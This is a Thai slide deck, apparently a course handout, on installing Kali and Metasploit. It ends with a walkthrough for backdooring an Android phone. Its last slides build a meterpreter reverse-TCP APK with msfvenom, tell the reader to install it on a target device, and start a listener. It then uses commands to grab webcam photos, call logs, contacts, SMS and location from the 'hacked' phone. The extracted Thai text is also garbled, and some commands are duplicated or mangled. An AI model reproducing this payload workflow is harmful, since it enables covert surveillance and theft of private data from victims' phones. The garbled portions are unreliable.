15

การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

  • Upload
    others

  • View
    2

  • Download
    0

Embed Size (px)

Citation preview

Page 1: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน
Page 2: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

การตดตง Kali ทาไดโดย Boot ไฟล .ISO ทตดตงใน HHD หรอ ตดตงใน VMware

การตดตง Metaploit Framework บนระบบปฏบตการ Linux

ในสวนนจะพดถงวธการตดตงโปรแกรม Metaploit บนระบบปฏบตการ Linux ซงระบบปฏบตกาทใชในการ

ทดสอบการตดตงในครงนคอ Debain 7.6 (Wheezy) ฉะนนในตวอยางนจะสามารถนาไปใชในรบบปฏบตการ Ubuntu ได

เชนกน ซงวธทจะแนะนาในการตดตงมสองวธดวยกน คอ

1.ดาวนโหลดไฟลตดตงจากเวปไซท (http://www.metasploit.com/)

2. ตดตงจาก Github

ซงสองวธนผเขยนมองวาเปนวธงายและสะดวกทสด หรอถาหาผใชไมตองการทจะตดตงเองกสามารถดาวนโหลดระบบปฏบต

การ Kali/Backtrack มาตดตงแลวสามารถใชไดในทนท

ดาวนโหลดไฟลตดตงจากเวปไซท (http://www.metasploit.com/)

ดาวนโหลดไฟลจากเวปไซท http://www.rapid7.com/products/metasploit/download.jsp เลอกหาหวขอ

Metasploit Framework ดาวนโหลดไฟลในหวขอ For Linux ใหดาวนโหลดตามระบบปฏบตวาทานลงกบต แลวทาการอพ

โหลดขนเซฟเวอรหรอเครองของทาน

Page 3: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

หรอจะใชคาสงเพอดาวโหลดโดยตรงบน Command Line โดยใชคาสงดงตอไปน

64 Bit: wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run

32 Bit wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run

เขาส User Root ดวยคาสง Su (เนองจากตองใชสทธของ Root ในกาตดตงโปรแกรมเทานน) ถาหากพาสเวรดของ Root

ยงไมไดตงใหใชคาสง Passwd root เพอทาการกาหนดรหส

หลงจากการดาวนโหลดเรยบรอยแลวใหทาการกาหนดสทธในการ Execute ไฟลดวยคาสง Chmod +x

64 Bit Chmod +x metasploit-latest-linux-x64-installer.run

32 Bit Chmod +x metasploit-latest-linux-installer.run

ถาหายงไมแนใจวาสทธในการ Execute ไฟลถกกาหนดหรอยงใหใชคาสง ls –l ในไดเรกทอรเกบโปรแกรม

ทาการตดตงโปรแกรมดวยคาสง ./

64 Bit ./metasploit-latest-linux-x64-installer.run

Page 4: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

32 Bit ./Chmod +x metasploit-latest-linux-installer.run

โปรแกรมจะใหอานเงอนใขและขอกาหนดในการใชโปรแกรม ใหทาการกด Enter ไปเรอยๆ

โปรแกรมจะใหตอบยอมรบของกาหนดใหใส Y เพอยนยนแลวกด Enter

โปรแกรมจะแจงทอยในการตดตงโปรแกรม ถาหากจะตงคา Default ทโปรแกรมกาหนดมาใหกด Enter ไดเลย

Page 5: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

โปรแกรมจะถามวาตองการตดตง Metasploit Service หรอไม(เมอเปดเครองโปรแกรมจะถกเรยกใชงานทกครง) ใหตอบ

ตามทผใชเหนสมควร ในทนผ เขยนจะตอบ Y

จากนนใหกด Enter ไปเรอยๆจนเจอหนาตาดงรป

โปแกรมจาถามวาตองการจะสราง Certificate(https) สาหรบ Web ui ใหตอบตามสมควร ในทนผ เขยนจะตอบ Y

ตอบ Y เพอยนยนการตดตง

โปรแกรมจะทาการดาวนโหลดโปรแกรมแลqคอนฟกทสาคญ ใหรอสกคร

Page 6: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

ตดตงจาก Github

1.ทาการตรวจสอบ Update Repository และระบบปฏบตการ ดวยคาสง

apt-get update

apt-get upgrade

2.ตดตงโปรแกรมทจาเปนจาก Repository

apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5

libsqlite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql

pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev ruby1.9.3

3.ตดตง metasploit ruby dependancies

gem install wirble sqlite3 bundler

4.ตดตง Nmap

apt-get install nmap

5.การการดง Metaploit FrameWork จาก Github ดวยคาสง

cd /opt

git clone https://github.com/rapid7/metasploit-framework.git

6.Create global commands and install the gems

apt-get update

apt-get upgrade

apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5

libsqlite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql

pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev ruby1.9.3

gem install wirble sqlite3 bundler

apt-get install nmap

cd /opt

git clone https://github.com/rapid7/metasploit-framework.git

cd metasploit-framework

Page 7: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

cd metasploit-framework

bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done'

bundle install

6.ตงคา User และสราง Database สาหรบ Metasploit

su postgres

createuser msf -P -S -R -D

createdb -O msf msf

exit

7.สราง ไฟลทใชในการตงคา เกยวกบ Database nano /opt/metasploit-framework/database.yml

แลวทาการเพมขอความดานลาง

production:

adapter: postgresql

database: msf

username: msf

password:

host: 127.0.0.1

port: 5432

pool: 75

timeout: 5

8.Create an environmental variable

sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/profilesource

/etc/profile"

9.ตดตง port scanning gem

gem install pcaprub

bundle install

bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done'

exit

createdb -O msf msf

createuser msf -P -S -R -D

su postgres

production:

adapter: postgresql

database: msf

username: msf

password:

host: 127.0.0.1

port: 5432

pool: 75

timeout: 5

sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml

>> /etc/profilesource /etc/profile"

gem install pcaprub

Page 8: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

• 1.เปด console ขนมา

• สรางไฟล .APK (เพอใชตดตงทเครอง Android เปาหมาย) โดยใชคาสง

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.199.120.188(local ip or public ip) LPORT=443 R > anyname.apk

นาไฟล .APK ทได ไปตดตงทเครอง Android เปาหมาย

2.พมพ msfconsole เพอเปนการเปดใชงาน metasploit console

Page 9: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

use exploit/multi/handler

เซท payload set payload android/meterpreter/reverse_tcp

เซท LHOST ไอพตนทาง 42set LHOST 10.199.120.188(local ip or public ip)

exploit เพอใชเรม

ตวอยางคาสงตาง ๆ

Page 10: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

คาสง sysinfo ดขอมลโทรศพททเรากาลงแฮก

Page 11: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

คาสง webcam_snap ถายรปจากโทรศพททเรากาลงแฮก

จะไดไฟลรป rgWUxyFp.jpeg

Page 12: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

คาสง dump_callog แฮกบนทกการโทร

คาสง dump_contact แฮกรายชอ เบอรตดตอทงหมด

Page 13: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

จะไดไฟลเอกสาร contacts_dump_20151028225049.txt

คาสง dump_sms แฮกบนทกการรบ-สงขอความ

Page 14: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

จะไดไฟลเอกสาร sms_dump_20151028225140.txt

คาสง geolocate แฮกขอมลทอยของโทรศพทขณะนน

Page 15: การติดตั้ง - Department of Computer ... · การติดตั้ง . Kali ทําได้โดย Boot ไฟล์ .ISO ที่ติดตั้งใน

จะไดลงคของ google map